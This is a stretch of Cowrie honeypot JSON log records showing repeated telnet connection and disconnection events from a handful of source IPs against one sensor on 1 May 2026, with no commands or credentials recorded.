{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":46614,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b41d3d01f16","protocol":"telnet","message":"New connection: 37.187.24.227:46614 (159.203.135.109:23) [session: 6b41d3d01f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:38.686357Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42728,"dst_ip":"159.203.135.109","dst_port":23,"session":"b495f899e51c","protocol":"telnet","message":"New connection: 147.135.136.77:42728 (159.203.135.109:23) [session: b495f899e51c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:38.705825Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42730,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0ea9b4de0bd","protocol":"telnet","message":"New connection: 147.135.136.77:42730 (159.203.135.109:23) [session: a0ea9b4de0bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:39.168835Z"}
{"eventid":"cowrie.session.closed","duration":31.02423882484436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:39.230580Z","src_ip":"147.135.136.77","session":"9346c5e4f346","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":47426,"dst_ip":"159.203.135.109","dst_port":23,"session":"4000a295c7bd","protocol":"telnet","message":"New connection: 37.187.24.227:47426 (159.203.135.109:23) [session: 4000a295c7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:39.240921Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":47872,"dst_ip":"159.203.135.109","dst_port":23,"session":"79da6504d836","protocol":"telnet","message":"New connection: 37.187.24.227:47872 (159.203.135.109:23) [session: 79da6504d836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:39.408592Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42664,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fa1d84ba4cb","protocol":"telnet","message":"New connection: 147.135.136.77:42664 (159.203.135.109:23) [session: 1fa1d84ba4cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:39.632635Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42740,"dst_ip":"159.203.135.109","dst_port":23,"session":"574b6345678e","protocol":"telnet","message":"New connection: 147.135.136.77:42740 (159.203.135.109:23) [session: 574b6345678e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:39.858141Z"}
{"eventid":"cowrie.session.closed","duration":30.71920347213745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:40.040714Z","src_ip":"147.135.136.77","session":"d1d0619e39d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795844793319702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:40.048057Z","src_ip":"147.135.136.77","session":"55afb31fd3c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":44544,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bf8d84932d5","protocol":"telnet","message":"New connection: 51.79.21.139:44544 (159.203.135.109:23) [session: 9bf8d84932d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:40.057507Z"}
{"eventid":"cowrie.session.closed","duration":30.827348947525024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:40.153561Z","src_ip":"147.135.136.77","session":"4945b16a0189","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":49168,"dst_ip":"159.203.135.109","dst_port":23,"session":"bff9889f4d8d","protocol":"telnet","message":"New connection: 37.187.24.227:49168 (159.203.135.109:23) [session: bff9889f4d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:40.157633Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42752,"dst_ip":"159.203.135.109","dst_port":23,"session":"316cef1d978c","protocol":"telnet","message":"New connection: 147.135.136.77:42752 (159.203.135.109:23) [session: 316cef1d978c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:40.197717Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42762,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fbb910447df","protocol":"telnet","message":"New connection: 147.135.136.77:42762 (159.203.135.109:23) [session: 8fbb910447df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:40.231982Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":50416,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b847b4505f8","protocol":"telnet","message":"New connection: 37.187.24.227:50416 (159.203.135.109:23) [session: 2b847b4505f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:40.803322Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42778,"dst_ip":"159.203.135.109","dst_port":23,"session":"c47f515b9ba9","protocol":"telnet","message":"New connection: 147.135.136.77:42778 (159.203.135.109:23) [session: c47f515b9ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:41.129794Z"}
{"eventid":"cowrie.session.closed","duration":30.553427696228027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:41.194011Z","src_ip":"147.135.136.77","session":"edba84254707","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.331926584243774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:41.214778Z","src_ip":"147.135.136.77","session":"7fa7116582fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42786,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e0efa83718a","protocol":"telnet","message":"New connection: 147.135.136.77:42786 (159.203.135.109:23) [session: 1e0efa83718a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:41.342829Z"}
{"eventid":"cowrie.session.closed","duration":30.960520029067993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:41.358814Z","src_ip":"37.187.24.227","session":"b3c6b392c3ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42802,"dst_ip":"159.203.135.109","dst_port":23,"session":"3777fe820f21","protocol":"telnet","message":"New connection: 147.135.136.77:42802 (159.203.135.109:23) [session: 3777fe820f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:41.371591Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":38682,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f9242586c88","protocol":"telnet","message":"New connection: 168.119.91.149:38682 (159.203.135.109:23) [session: 5f9242586c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:41.405750Z"}
{"eventid":"cowrie.session.closed","duration":31.3573956489563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:41.714463Z","src_ip":"81.30.157.18","session":"dc818c2b8585","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.138411045074463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:42.051628Z","src_ip":"147.135.136.77","session":"8b6738435d7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42816,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4a903009660","protocol":"telnet","message":"New connection: 147.135.136.77:42816 (159.203.135.109:23) [session: c4a903009660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:42.058068Z"}
{"eventid":"cowrie.session.closed","duration":30.443779468536377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:42.070626Z","src_ip":"81.30.157.18","session":"3253c7c6d8f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.935091257095337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:42.120055Z","src_ip":"37.187.24.227","session":"38c70b5ef447","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.591007471084595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:42.134473Z","src_ip":"147.135.136.77","session":"766c291a5180","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.079144954681396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:42.139760Z","src_ip":"51.79.21.139","session":"23be92ca2092","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42820,"dst_ip":"159.203.135.109","dst_port":23,"session":"87cd0cf87537","protocol":"telnet","message":"New connection: 147.135.136.77:42820 (159.203.135.109:23) [session: 87cd0cf87537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:42.224832Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42836,"dst_ip":"159.203.135.109","dst_port":23,"session":"c955a9bec49f","protocol":"telnet","message":"New connection: 147.135.136.77:42836 (159.203.135.109:23) [session: c955a9bec49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:42.327984Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":44546,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9c3f9d623d0","protocol":"telnet","message":"New connection: 51.79.21.139:44546 (159.203.135.109:23) [session: b9c3f9d623d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:42.359033Z"}
{"eventid":"cowrie.session.closed","duration":31.001810789108276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:42.409560Z","src_ip":"147.135.136.77","session":"34b90dbaa07c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42844,"dst_ip":"159.203.135.109","dst_port":23,"session":"721a50ffb14a","protocol":"telnet","message":"New connection: 147.135.136.77:42844 (159.203.135.109:23) [session: 721a50ffb14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:42.689980Z"}
{"eventid":"cowrie.session.closed","duration":30.284323930740356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:43.061930Z","src_ip":"147.135.136.77","session":"701d064e18e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78914451599121,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:43.152907Z","src_ip":"147.135.136.77","session":"faae9bfdc8e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":55220,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f2aa2fa2501","protocol":"telnet","message":"New connection: 37.187.24.227:55220 (159.203.135.109:23) [session: 8f2aa2fa2501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:43.185316Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42848,"dst_ip":"159.203.135.109","dst_port":23,"session":"480a129fdde4","protocol":"telnet","message":"New connection: 147.135.136.77:42848 (159.203.135.109:23) [session: 480a129fdde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:43.271780Z"}
{"eventid":"cowrie.session.closed","duration":30.88321352005005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:43.276334Z","src_ip":"147.135.136.77","session":"12fcf540072a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42858,"dst_ip":"159.203.135.109","dst_port":23,"session":"96f780cf50e1","protocol":"telnet","message":"New connection: 147.135.136.77:42858 (159.203.135.109:23) [session: 96f780cf50e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:43.326660Z"}
{"eventid":"cowrie.session.closed","duration":31.362285614013672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:43.564119Z","src_ip":"147.135.136.77","session":"a06dd79be134","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42868,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8084bafdf15","protocol":"telnet","message":"New connection: 147.135.136.77:42868 (159.203.135.109:23) [session: d8084bafdf15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:43.946914Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42884,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdde43999102","protocol":"telnet","message":"New connection: 147.135.136.77:42884 (159.203.135.109:23) [session: bdde43999102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:43.976609Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42896,"dst_ip":"159.203.135.109","dst_port":23,"session":"4df7d823ca9a","protocol":"telnet","message":"New connection: 147.135.136.77:42896 (159.203.135.109:23) [session: 4df7d823ca9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:44.115205Z"}
{"eventid":"cowrie.session.closed","duration":30.490250825881958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:44.143797Z","src_ip":"147.135.136.77","session":"04de2d757037","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69020700454712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:44.153393Z","src_ip":"147.135.136.77","session":"d865163f8ee5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42898,"dst_ip":"159.203.135.109","dst_port":23,"session":"733109337edd","protocol":"telnet","message":"New connection: 147.135.136.77:42898 (159.203.135.109:23) [session: 733109337edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:44.241344Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42920,"dst_ip":"159.203.135.109","dst_port":23,"session":"2627083c5b3b","protocol":"telnet","message":"New connection: 147.135.136.77:42920 (159.203.135.109:23) [session: 2627083c5b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:44.369829Z"}
{"eventid":"cowrie.session.closed","duration":31.017144441604614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:44.509190Z","src_ip":"81.30.157.18","session":"b9d8d6b4a5ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.146794319152832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:44.634995Z","src_ip":"147.135.136.77","session":"5f8d6058c77e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":59216,"dst_ip":"159.203.135.109","dst_port":23,"session":"209445a419c6","protocol":"telnet","message":"New connection: 37.187.24.227:59216 (159.203.135.109:23) [session: 209445a419c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:44.789191Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42932,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b73485f61de","protocol":"telnet","message":"New connection: 147.135.136.77:42932 (159.203.135.109:23) [session: 8b73485f61de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:44.855938Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42946,"dst_ip":"159.203.135.109","dst_port":23,"session":"09958b6e2617","protocol":"telnet","message":"New connection: 147.135.136.77:42946 (159.203.135.109:23) [session: 09958b6e2617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:44.922644Z"}
{"eventid":"cowrie.session.closed","duration":30.194130420684814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:45.039195Z","src_ip":"147.135.136.77","session":"b43d62132eb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42950,"dst_ip":"159.203.135.109","dst_port":23,"session":"d496095ba1b0","protocol":"telnet","message":"New connection: 147.135.136.77:42950 (159.203.135.109:23) [session: d496095ba1b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:45.052551Z"}
{"eventid":"cowrie.session.closed","duration":30.432827949523926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:45.064622Z","src_ip":"147.135.136.77","session":"c4f1812e0cc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86221194267273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:45.100368Z","src_ip":"147.135.136.77","session":"9072441e7164","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42904,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e7449714dba","protocol":"telnet","message":"New connection: 147.135.136.77:42904 (159.203.135.109:23) [session: 1e7449714dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:45.296572Z"}
{"eventid":"cowrie.session.closed","duration":30.94122004508972,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:45.349278Z","src_ip":"147.135.136.77","session":"a67a23184dae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.144848346710205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:45.366890Z","src_ip":"147.135.136.77","session":"e582f35c3394","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13870120048523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:45.747479Z","src_ip":"147.135.136.77","session":"9c0d596773b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":38684,"dst_ip":"159.203.135.109","dst_port":23,"session":"026e57d3ff91","protocol":"telnet","message":"New connection: 168.119.91.149:38684 (159.203.135.109:23) [session: 026e57d3ff91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:45.756041Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50220,"dst_ip":"159.203.135.109","dst_port":23,"session":"455251a6ab4c","protocol":"telnet","message":"New connection: 147.135.136.77:50220 (159.203.135.109:23) [session: 455251a6ab4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:46.072749Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42952,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2a4bb4e3aa9","protocol":"telnet","message":"New connection: 147.135.136.77:42952 (159.203.135.109:23) [session: f2a4bb4e3aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:46.272377Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50232,"dst_ip":"159.203.135.109","dst_port":23,"session":"a41fab6c5890","protocol":"telnet","message":"New connection: 147.135.136.77:50232 (159.203.135.109:23) [session: a41fab6c5890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:46.355965Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50244,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3217429aab0","protocol":"telnet","message":"New connection: 147.135.136.77:50244 (159.203.135.109:23) [session: e3217429aab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:46.473068Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50260,"dst_ip":"159.203.135.109","dst_port":23,"session":"98576d0550e0","protocol":"telnet","message":"New connection: 147.135.136.77:50260 (159.203.135.109:23) [session: 98576d0550e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:46.500932Z"}
{"eventid":"cowrie.session.closed","duration":31.490206003189087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:46.917452Z","src_ip":"147.135.136.77","session":"79bc00c52ddc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50270,"dst_ip":"159.203.135.109","dst_port":23,"session":"9453a58f234d","protocol":"telnet","message":"New connection: 147.135.136.77:50270 (159.203.135.109:23) [session: 9453a58f234d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:46.973136Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":48544,"dst_ip":"159.203.135.109","dst_port":23,"session":"34ad3ba2d274","protocol":"telnet","message":"New connection: 81.30.157.18:48544 (159.203.135.109:23) [session: 34ad3ba2d274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:46.997361Z"}
{"eventid":"cowrie.session.closed","duration":30.890251398086548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:47.042437Z","src_ip":"51.79.21.139","session":"472be83e073d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50276,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c25ab2be340","protocol":"telnet","message":"New connection: 147.135.136.77:50276 (159.203.135.109:23) [session: 3c25ab2be340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:47.227426Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50292,"dst_ip":"159.203.135.109","dst_port":23,"session":"e119377602ea","protocol":"telnet","message":"New connection: 147.135.136.77:50292 (159.203.135.109:23) [session: e119377602ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:47.340915Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":55670,"dst_ip":"159.203.135.109","dst_port":23,"session":"7495a225add5","protocol":"telnet","message":"New connection: 51.79.21.139:55670 (159.203.135.109:23) [session: 7495a225add5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:47.352667Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50294,"dst_ip":"159.203.135.109","dst_port":23,"session":"674da6cdf90c","protocol":"telnet","message":"New connection: 147.135.136.77:50294 (159.203.135.109:23) [session: 674da6cdf90c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:47.364861Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":38694,"dst_ip":"159.203.135.109","dst_port":23,"session":"232d034fb624","protocol":"telnet","message":"New connection: 168.119.91.149:38694 (159.203.135.109:23) [session: 232d034fb624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:47.835070Z"}
{"eventid":"cowrie.session.closed","duration":30.559311628341675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:48.030591Z","src_ip":"51.79.21.139","session":"e2d07d79645f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.961357355117798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:48.070275Z","src_ip":"147.135.136.77","session":"e0a1dcf40f40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.305606603622437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:48.076728Z","src_ip":"147.135.136.77","session":"d986b05a8f06","protocol":"telnet"}
